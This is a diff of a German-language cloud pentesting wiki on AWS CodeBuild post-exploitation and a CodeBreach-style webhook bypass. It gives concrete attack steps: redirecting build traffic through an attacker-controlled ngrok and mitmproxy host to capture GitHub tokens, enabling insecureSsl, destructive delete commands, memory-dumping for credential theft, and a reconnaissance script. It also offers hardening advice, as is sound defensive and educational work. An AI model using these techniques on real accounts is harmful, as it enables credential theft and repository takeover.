diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 538091700..e3a4b8f5d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -10,37 +10,37 @@ Für weitere Informationen, siehe: ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Überprüfen von Geheimnissen +### Check Secrets -Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, **werden diese Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\ -Daher, wenn Sie Zugriff auf den Geheimnismanager haben, können Sie diese Geheimnisse abrufen und zu der verbundenen Plattform pivotieren. +Wenn Anmeldeinformationen in CodeBuild eingerichtet wurden, um sich mit Github, Gitlab oder Bitbucket in Form von personal tokens, Passwörtern oder OAuth token access zu verbinden, werden diese **credentials als secrets im secret manager gespeichert**.\ +Wenn du also Zugriff zum Lesen des secret manager hast, kannst du diese secrets abrufen und zum verbundenen Platform pivoten. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md {{#endref}} -### Missbrauch des CodeBuild-Repo-Zugriffs +### Abuse CodeBuild Repo Access -Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, das es verwenden wird. Mehrere Plattformen könnten diesen Code hosten: +Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, das es verwenden soll. Mehrere Plattformen könnten diesen Code hosten:
-Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem Github/Bitbucket **Token oder OAuth-Zugriff**. +Das **CodeBuild project must have access** zum konfigurierten source provider, entweder via **IAM role** oder mit einem github/bitbucket **token oder OAuth access**. -Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer, auf die die festgelegten Anmeldeinformationen Zugriff haben, zu leaken.\ -Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ändern, auf das die konfigurierten Anmeldeinformationen Zugriff haben** (beachten Sie, dass die AWS-Webseite alle für Sie auflistet): +Ein Angreifer mit **elevated permissions over a CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer Repos zu leak, auf die die gesetzten creds Zugriff haben.\ +Dazu müsste ein Angreifer lediglich die **repository URL auf jedes Repo ändern, auf das die konfigurierten credentials Zugriff haben** (beachte, dass die aws web alle für dich auflisten wird):
-Und **die Buildspec-Befehle ändern, um jedes Repo zu exfiltrieren**. +Und **die Buildspec commands ändern, um jedes Repo zu exfiltrate**. > [!WARNING] -> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, **kann ein Angreifer diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\ -> Oder doch? Überprüfen Sie den nächsten Abschnitt +> Allerdings ist diese **Aufgabe repetitiv und mühsam** und wenn ein github token mit **write permissions** konfiguriert wurde, wird ein Angreifer **diese Berechtigungen nicht (ab)use können**, da er keinen Zugriff auf den token hat.\ +> Oder doch? Sieh dir den nächsten Abschnitt an -### Zugriffstoken von AWS CodeBuild leaken +### Leaking Access Tokens from AWS CodeBuild -Sie können den Zugriff, der in CodeBuild auf Plattformen wie Github gewährt wurde, leaken. Überprüfen Sie, ob Zugriff auf externe Plattformen gewährt wurde mit: +You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: ```bash aws codebuild list-source-credentials ``` @@ -48,29 +48,37 @@ aws codebuild list-source-credentials aws-codebuild-token-leakage.md {{#endref}} +### Untrusted PR execution via webhook filter misconfiguration + +Wenn webhook-Filter schwach sind, können externe Angreifer ihre PRs in privilegierten CodeBuild-Projekten bauen lassen und anschließend beliebigen Code in CI ausführen. + +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} + ### `codebuild:DeleteProject` -Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zu einem Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind. +Ein Angreifer könnte ein komplettes CodeBuild-Projekt löschen, wodurch die Projektkonfiguration verloren geht und Anwendungen, die auf das Projekt angewiesen sind, beeinträchtigt werden. ```bash aws codebuild delete-project --name ``` -**Potenzielle Auswirkungen**: Verlust der Projektkonfiguration und Dienstunterbrechung für Anwendungen, die das gelöschte Projekt verwenden. +**Mögliche Auswirkungen**: Verlust der Projektkonfiguration und Dienstunterbrechung für Anwendungen, die das gelöschte Projekt verwenden. ### `codebuild:TagResource` , `codebuild:UntagResource` -Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. +Ein Angreifer könnte tags zu CodeBuild-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenaufteilung, die Ressourcenverfolgung und die auf tags basierenden Zugriffskontrollrichtlinien Ihrer Organisation stören. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. +**Potentielle Auswirkungen**: Beeinträchtigung der Kostenallokation, der Ressourcenverfolgung und der tag-basierten Zugriffskontrollrichtlinien. ### `codebuild:DeleteSourceCredentials` -Ein Angreifer könnte die Quellanmeldeinformationen für ein Git-Repository löschen, was die normale Funktionsweise von Anwendungen beeinträchtigt, die auf das Repository angewiesen sind. +Ein Angreifer könnte Quell-Anmeldeinformationen für ein Git-Repository löschen, wodurch die normale Funktionalität von Anwendungen beeinträchtigt wird, die auf dieses Repository angewiesen sind. ```sql aws codebuild delete-source-credentials --arn ``` -**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen. +**Mögliche Auswirkungen**: Beeinträchtigung der normalen Funktionsweise von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung der Quellzugangsdaten. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index fdbef2412..c2c5bfb36 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Wiederherstellen konfigurierter Tokens für Github/Bitbucket +## Wiederherstellen konfigurierter Github/Bitbucket Tokens -Prüfe zuerst, ob Quell-Credentials konfiguriert sind, die du leak könntest: +Prüfe zuerst, ob source credentials konfiguriert sind, die du leaken könntest: ```bash aws codebuild list-source-credentials ``` -### Über Docker Image +### Über Docker-Image -Wenn du feststellst, dass z. B. eine Authentifizierung für Github im Account konfiguriert ist, kannst du dieses **exfiltrate** dieses **access** (**GH token or OAuth token**) erreichen, indem du Codebuild ein bestimmtes Docker image verwenden lässt, um den Build des Projekts auszuführen. +Wenn Sie feststellen, dass beispielsweise eine Authentifizierung zu Github im Account eingerichtet ist, können Sie diesen **exfiltrate** **access** (**GH token oder OAuth token**) erlangen, indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image für den Build des Projekts **zu verwenden**. -Zu diesem Zweck kannst du ein **neues Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** zu setzen. +Zu diesem Zweck können Sie ein neues **Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** festzulegen. -Das Docker image, das du verwenden könntest, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Dadurch kannst du den Großteil des Traffics des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem SSL CERT vertrauen, das in **`SSL_CERT_FILE`** angegeben ist. +Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Damit können Sie den Großteil des Verkehrs des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem in **`SSL_CERT_FILE`** angegebenen SSL-Zertifikat vertrauen. -1. **Erstelle & lade dein eigenes Docker MitM image hoch** -- Folge den Anweisungen des Repos, um deine Proxy-IP-Adresse und dein SSL-Zertifikat zu setzen und das **Docker image zu bauen**. -- **DO NOT SET `http_proxy`** damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden. -- Du kannst **`ngrok`** z. B. mit `ngrok tcp 4444` verwenden, um den Proxy auf deinen Host zu setzen. -- Sobald du das Docker image gebaut hast, **lade es in ein öffentliches Repo hoch** (Dockerhub, ECR...) -2. **Set the environment** -- Erstelle ein **neues Codebuild project** oder **modifiziere** die environment eines bestehenden. -- Setze das Projekt so, dass es das **zuvor erzeugte Docker image** verwendet. +1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images** +- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu konfigurieren und das Docker-Image zu bauen. +- **DO NOT SET `http_proxy`** um Anfragen an den Metadata-Endpunkt nicht abzufangen. +- Sie können **`ngrok`** verwenden, z.B. `ngrok tcp 4444`, um den Proxy auf Ihren Host zu setzen +- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) +2. **Environment festlegen** +- Erstellen Sie ein **neues Codebuild project** oder **ändern** Sie die Environment eines bestehenden. +- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet
-3. **Set the MitM proxy in your host** +3. **MitM-Proxy auf Ihrem Host einrichten** -- Wie im **Github repo** angegeben, kannst du etwas wie folgendes verwenden: +- Wie im **Github repo** angegeben, können Sie so etwas verwenden wie: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > Die **mitmproxy-Version war 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert. -4. **Build ausführen & Zugangsdaten abfangen** +4. **Build ausführen & Zugangsdaten erfassen** -- Sie können den token im **Authorization**-Header sehen: +- Sie können das Token im **Authorization**-Header sehen:
-Das kann auch mit dem aws cli etwa so gemacht werden: +Das kann auch über die aws cli mit etwas wie dem folgenden Befehl gemacht werden: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Über insecureSSL -**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche versteckt ist und die man nur über die **API** ändern kann.\ -Wenn man diese aktiviert, erlaubt das Codebuild, eine Verbindung zum Repository **ohne das von der Plattform angebotene Zertifikat zu prüfen**. +**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist; sie kann nur über die API geändert werden.\ +Wenn diese aktiviert ist, kann Codebuild eine Verbindung zum Repository herstellen, **ohne das von der Plattform bereitgestellte Zertifikat zu prüfen**. -- Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten: +- Zuerst müssen Sie die aktuelle Konfiguration enumerate, z. B. mit: ```bash aws codebuild batch-get-projects --name ``` -- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere; beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst). -- Füge außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf deinen tcp ngrok zeigen, z. B.: +- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere, beachte das **`insecureSsl=True`** am Ende (das ist das Einzige, das du an der gesammelten Konfiguration ändern musst). +- Außerdem füge die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, z. B.: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist. +- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Klicke abschließend auf **Build the project**, die **credentials** werden im Klartext (base64) an den mitm-Port gesendet: +- Schließlich klicke auf **Build the project**, die **credentials** werden im **Klartext** (base64) an den mitm-Port gesendet:
-### ~~Über HTTP protocol~~ +### ~~Über das HTTP-Protokoll~~ -> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20th of Feb of 2023 behoben (ich glaube am Friday). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** +> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb of 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** -Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte das konfigurierte Github/Bitbucket token leaken oder, falls die Berechtigungen via OAuth konfiguriert wurden, das **temporäre OAuth token, das zum Zugriff auf den Code verwendet wird**. +Ein Angreifer mit **elevated permissions** in einem **CodeBuild** könnte das konfigurierte Github/Bitbucket token leak oder, falls die Berechtigungen via **OAuth** konfiguriert wurden, das **temporary OAuth token used to access the code**. - Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte das ko
-- Dann ändere die URL des github repo, sodass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` -- Führe dann das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. +- Dann ändere die URL des github-Repo, um HTTP statt HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` +- Dann führe das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen ```python from mitm import MITM, protocol, middleware, crypto @@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build über die Kommandozeile: +- Klicken Sie anschließend auf **Build starten** oder starten Sie den Build über die Befehlszeile: ```sh aws codebuild start-build --project-name ``` -- Abschließend werden die **credentials** im **Klartext** (base64) an den mitm port gesendet: +- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet:
> [!WARNING] -> Ein Angreifer kann nun das Token von seinem Rechner aus verwenden, alle Berechtigungen auflisten, die es hat, und es einfacher (miss)brauchen, als den CodeBuild-Service direkt zu nutzen. +> Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und diese leichter (ab)use, als den CodeBuild-Service direkt zu nutzen. -## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) +## Untrusted PR execution via webhook filter misconfiguration -Falsch konfigurierte CodeBuild-GitHub-Webhooks, die unanchored `ACTOR_ID`-Regexes verwenden, erlauben es *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, stimmt jede ID, die einen dieser Substrings enthält. Da GitHub-Benutzer-IDs sequentiell sind, kann ein Angreifer darum wetteifern, eine „eclipsing“ ID (einen Superstring einer vertrauenswürdigen ID) zu registrieren und so den Build auszulösen. +Für die PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), siehe: -**Exploit path** - -1. Finde öffentliche CodeBuild-Projekte, die webhook filters exponieren, und extrahiere eine unanchored `ACTOR_ID` allowlist. -2. Erlange eine eclipsing GitHub-ID: -- Sample den globalen ID-Zähler, indem du GitHub orgs erstellst/löschst (org IDs teilen sich den Pool). -- Pre-stage viele GitHub App manifest-Erstellungen und rufe die confirmation URLs auf, wenn der Zähler sich innerhalb von ~100 IDs des Ziels befindet, um in einem Schub eine Bot-ID zu registrieren, die das vertrauenswürdige Substring enthält. -3. Öffne eine PR von dem eclipsing Account; der Regex findet den Substring und der privilegierte Build wird ausgeführt. -4. Nutze Build RCE (z. B. dependency install hooks), um den Prozessspeicher zu dumpen, der die GitHub-Anmeldeinformationen verarbeitet, und das PAT/OAuth-Token wiederherzustellen. -5. Mit dem Token mit `repo`-Scope lade dein Konto als collaborator/admin ein und pushe/genehmige bösartige Commits oder exfiltriere Secrets. - -## References -- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md new file mode 100644 index 000000000..82d886e65 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md @@ -0,0 +1,235 @@ +# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style) + +{{#include ../../../../banners/hacktricks-training.md}} + +Dieser Angriffsvektor tritt auf, wenn ein **öffentlich zugänglicher PR-Workflow** mit einem **privilegierten CodeBuild-Projekt** verbunden ist, das schwache Webhook-Kontrollen hat. + +Wenn ein externer Angreifer CodeBuild dazu bringen kann, seine Pull Request auszuführen, kann er in der Regel eine **beliebige Codeausführung im Build** (Build-Skripte, Dependency-Hooks, Testskripte usw.) erreichen und anschließend auf Geheimnisse, IAM-Anmeldeinformationen oder Source-Provider-Anmeldeinformationen pivotieren. + +## Warum das gefährlich ist + +CodeBuild-Webhooks werden für Nicht-`EVENT`-Filter mit Regex-Pattern ausgewertet. Im `ACTOR_ACCOUNT_ID`-Filter bedeutet das, dass ein schwaches Pattern mehr Benutzer matchen kann als beabsichtigt. +Wenn unvertrauenswürdige PRs in einem Projekt gebaut werden, das privilegierte AWS-Rollenberechtigungen oder GitHub-Zugangsdaten besitzt, kann dies zu einer vollständigen Supply-Chain-Kompromittierung führen. + +Wiz zeigte eine praktische Angriffskette, bei der: + +1. Eine Webhook-Actor-Allowlist einen **unverankerten Regex** verwendete. +2. Ein Angreifer eine GitHub-ID registrierte, die als **Superstring** einer vertrauenswürdigen ID matchte. +3. Eine bösartige PR CodeBuild auslöste. +4. Die Ausführung von Build-Code genutzt wurde, um Speicher auszudumpen und Source-Provider-Anmeldeinformationen/Token wiederherzustellen. + +## Fehlkonfigurationen, die externe PR-Codeausführung ermöglichen + +Im Folgenden sind hochriskante Fehler und wie Angreifer jeden einzelnen ausnutzen: + +1. **`EVENT`-Filter erlauben nicht vertrauenswürdige Trigger** +- Häufig riskante Events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`. +- Andere Events, die gefährlich werden können, wenn sie mit privilegierten Builds verknüpft sind: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`. +- Schlecht: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` in einem privilegierten Projekt. +- Besser: PR-Kommentar-Approval verwenden und Trigger-Events für privilegierte Projekte minimieren. +- Missbrauch: Angreifer öffnet/aktualisiert eine PR oder pusht in einen von ihnen kontrollierten Branch, und ihr Code wird in CodeBuild ausgeführt. + +2. **`ACTOR_ACCOUNT_ID`-Regex ist schwach** +- Schlecht: unverankerte Muster wie `123456|7890123`. +- Besser: exakte Anchoring-Übereinstimmung `^(123456|7890123)$`. +- Missbrauch: Regex-Overmatch erlaubt nicht autorisierten GitHub-IDs, Allowlists zu passieren. + +3. **Andere Regex-Filter sind schwach oder fehlen** +- `HEAD_REF` +- Schlecht: `refs/heads/.*` +- Besser: `^refs/heads/main$` (oder eine explizite Liste vertrauenswürdiger Branches) +- `BASE_REF` +- Schlecht: `.*` +- Besser: `^refs/heads/main$` +- `FILE_PATH` +- Schlecht: keine Pfad-Einschränkungen +- Besser: riskante Dateien ausschließen wie `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` +- `COMMIT_MESSAGE` +- Schlecht: Trust-Marker mit losem Match wie `trusted` +- Besser: Verwenden Sie die Commit-Nachricht nicht als Vertrauensgrenze für die Ausführung von PRs +- `REPOSITORY_NAME` / `ORGANIZATION_NAME` +- Schlecht: `.*` in org/global Webhooks +- Besser: nur exakte Repo/Org-Übereinstimmungen +- `WORKFLOW_NAME` +- Schlecht: `.*` +- Besser: nur exakte Workflow-Namen (oder dieses Feld nicht als Vertrauenskontrolle verwenden) +- Missbrauch: Angreifer konstruiert Ref/Path/Message/Repo-Kontext so, dass permissive Regexes erfüllt werden und Builds ausgelöst werden. + +4. **`excludeMatchedPattern` wird falsch verwendet** +- Das Setzen dieses Flags kann bei falscher Nutzung die beabsichtigte Logik invertieren. +- Schlecht: `FILE_PATH '^buildspec\\.yml$'` mit `excludeMatchedPattern=false`, obwohl beabsichtigt war, buildspec-Änderungen zu blockieren. +- Besser: dasselbe Pattern mit `excludeMatchedPattern=true`, um Builds zu verweigern, die `buildspec.yml` betreffen. +- Missbrauch: Verteidiger denken, sie verweigern riskante Events/Pfade/Actor, aber sie erlauben sie tatsächlich. + +5. **Mehrere `filterGroups` erzeugen unbeabsichtigte Bypässe** +- CodeBuild wertet Gruppen als OR aus (eine bestehende Gruppe reicht aus). +- Schlecht: eine strenge Gruppe + eine permissive Fallback-Gruppe (z. B. nur `EVENT=PULL_REQUEST_UPDATED`). +- Besser: entferne Fallback-Gruppen, die keine Actor-/Ref-/Path-Einschränkungen durchsetzen. +- Missbrauch: Der Angreifer muss nur die schwächste Gruppe erfüllen. + +6. **Kommentar-Approval-Gate deaktiviert oder zu permissiv** +- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` ist am unsichersten. +- Zu breit gefasste Approver-Rollen reduzieren die Kontrolle. +- Schlecht: `requiresCommentApproval=DISABLED`. +- Besser: `ALL_PULL_REQUESTS` oder `FORK_PULL_REQUESTS` mit minimalen Approver-Rollen. +- Missbrauch: Fork/Drive-by-PRs laufen automatisch ohne Approval eines vertrauenswürdigen Maintainers. + +7. **Keine restriktive Branch-/Pfad-Strategie für PR-Builds** +- Fehlende Defense-in-Depth mit `HEAD_REF` + `BASE_REF` + `FILE_PATH`. +- Schlecht: nur `EVENT` + `ACTOR_ACCOUNT_ID`, keine Ref/Path-Kontrollen. +- Besser: exakte `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` Einschränkungen kombinieren. +- Missbrauch: Angreifer verändert Build-Inputs (buildspec/CI/Dependencies) und erlangt beliebige Befehlsausführung. + +8. **Öffentliche Sichtbarkeit + Offenlegung der Status-URL** +- Öffentliche Build-/Check-URLs verbessern die Recon-Fähigkeit des Angreifers und erleichtern iteratives Testen. +- Schlecht: `projectVisibility=PUBLIC_READ` mit sensiblen Logs/Configs in öffentlichen Builds. +- Besser: Projekte privat halten, sofern kein starker Business-Need besteht, und Logs/Artefakte bereinigen. +- Missbrauch: Angreifer entdeckt Projektmuster/-verhalten und verfeinert Payloads und Bypass-Versuche. + +## Token leakage from memory + +Wiz' Write-up erklärt, dass Source-Provider-Anmeldeinformationen im Build-Runtime-Kontext vorhanden sind und nach einer Build-Kompromittierung gestohlen werden können (zum Beispiel durch Memory-Dumping), was bei breiten Berechtigungen eine Übernahme des Repositories ermöglicht. + +AWS führte nach der Offenlegung Härtungsmaßnahmen ein, aber die Kernlektion bleibt: **Führe niemals unvertrauenswürdigen PR-Code in privilegierten Build-Kontexten aus** und gehe davon aus, dass vom Angreifer kontrollierter Build-Code versuchen wird, Anmeldeinformationen zu stehlen. + +Für zusätzliche Techniken zum Diebstahl von Anmeldeinformationen in CodeBuild siehe auch: + +{{#ref}} +aws-codebuild-token-leakage.md +{{#endref}} + +## Finding CodeBuild URLs in GitHub PRs + +Wenn CodeBuild den Commit-Status an GitHub zurückmeldet, erscheint die CodeBuild-Build-URL normalerweise in: + +1. **PR page** -> **Checks** tab (oder die Statuszeile in Conversation/Commits). +2. **Commit page** -> Status/Checks-Bereich -> **Details**-Link. +3. **PR commits list** -> klicke auf den Check-Kontext, der an einen Commit angehängt ist. + +Bei öffentlichen Projekten kann dieser Link Build-Metadaten/-Konfigurationen für nicht authentifizierte Benutzer offenlegen. + +
+Skript: CodeBuild-URLs in einer PR erkennen und testen, ob sie öffentlich aussehen +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Usage: +# ./check_pr_codebuild_urls.sh +# +# Requirements: gh, jq, curl + +OWNER="${1:?owner}" +REPO="${2:?repo}" +PR="${3:?pr_number}" + +for bin in gh jq curl timeout; do +command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; } +done + +tmp_commits="$(mktemp)" +tmp_urls="$(mktemp)" +trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT + +gh_api() { +timeout 20s gh api "$@" 2>/dev/null || true +} + +# Get all commit SHAs in the PR (bounded call to avoid hangs) +gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits" +if [ ! -s "$tmp_commits" ]; then +echo "[!] No commits found (or API call timed out/failed)." >&2 +exit 1 +fi + +echo "[*] PR commits:" +cat "$tmp_commits" +echo + +echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..." + +while IFS= read -r sha; do +[ -z "$sha" ] && continue + +# Classic commit statuses (target_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \ +--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true + +# GitHub Checks API (details_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \ +--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true +done < "$tmp_commits" | sort -u > "$tmp_urls" + +grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true + +echo +echo "[*] Public-access heuristic:" +echo " - If URL redirects to signin.aws.amazon.com -> likely not public" +echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public" +echo + +cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)" +if [ -z "$cb_urls" ]; then +echo "[*] No CodeBuild URLs found in PR statuses/check-runs." +exit 0 +fi + +while IFS= read -r url; do +[ -z "$url" ] && continue +final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)" +code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)" + +if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then +verdict="NOT_PUBLIC_OR_AUTH_REQUIRED" +elif [ "$code" = "200" ]; then +verdict="POTENTIALLY_PUBLIC" +else +verdict="UNKNOWN_CHECK_MANUALLY" +fi + +printf '%s\t%s\t%s\n' "$verdict" "$code" "$url" +done <<< "$cb_urls" +``` +Getestet mit: +```bash +bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1 +``` +
